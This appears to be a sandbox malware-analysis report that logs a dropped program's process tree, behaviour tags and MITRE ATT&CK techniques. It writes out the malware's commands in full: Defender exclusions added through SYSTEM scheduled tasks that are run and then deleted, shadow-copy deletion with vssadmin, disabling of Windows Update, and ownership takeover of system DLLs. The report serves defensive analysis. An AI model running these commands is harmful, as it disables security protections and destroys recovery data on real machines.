    PID:1384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1632
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4808
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1032
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4392
- C:\Program Files (x86)\MCLvDq\MCLvDq.exe
  "C:\Program Files (x86)\MCLvDq\MCLvDq.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Checks BIOS information in registry
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Enumerates video capture drivers
  - Event Triggered Execution: Screensaver
  - Reads the TCP/IP host and domain name from the registry
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:948
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:5088
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\MCLvDq" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2428
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\MCLvDq" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2088
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:1360
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4080
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\MCLvDq\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:996
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\MCLvDq\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:3912
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:1316
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:2360
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3408
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4360
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4268
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2876
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1060
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:556
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2356
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1644
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3300
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:4892
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1316
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:816
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4364
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:1032
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4352
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2920
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1808
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4392
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4420
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2060
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:928
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4800
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1920
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1164
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:452
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:4912
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2524
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4272
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:524
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:868
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4364
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2496
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:2536
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\MCLvDq" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2284
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\MCLvDq" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:816
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1052
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4288
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2124
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:4468
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\MCLvDq" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:644
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\MCLvDq" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5036
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\MCLvDq\MCLvDq.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4200
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\MCLvDq\MCLvDq.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:736
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\MCLvDq\MCLvDq.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4240
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\MCLvDq\MCLvDq.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3500
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4292
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4980
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2092
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:4992
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\MCLvDq\MCLvDq.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:976
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\MCLvDq\MCLvDq.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3364
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\MCLvDq\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5052
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\MCLvDq\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4648
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\MCLvDq\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4128
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\MCLvDq\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4776
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\MCLvDq\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3412
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\MCLvDq\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2716
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\MCLvDq\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:2160
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\MCLvDq\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4796
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:3260
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2164
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4196
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4564
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\MCLvDq\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:464
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\MCLvDq\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4248
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\MCLvDq\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4816
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\MCLvDq\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4748
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\MCLvDq\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:548
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\MCLvDq\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2748
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\MCLvDq\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1828
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\MCLvDq\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1972
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\MCLvDq\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1560
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\MCLvDq\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4188

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\beV1AC" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4660
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\beV1AC" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2428

C:\Users\Public\beV1AC\hchJ55.exe
"C:\Users\Public\beV1AC\hchJ55.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3840

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1612

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2128
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2536

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2176
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4316

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4184
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3516

C:\Program Files (x86)\MCLvDq\MCLvDq.exe
"C:\Program Files (x86)\MCLvDq\MCLvDq.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2660

C:\Program Files (x86)\AYVX0nh\rowBn1C.exe
"C:\Program Files (x86)\AYVX0nh\rowBn1C.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5108

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\MCLvDq" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2908
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\MCLvDq" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2740

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4212
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3792

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:5000
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4676

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

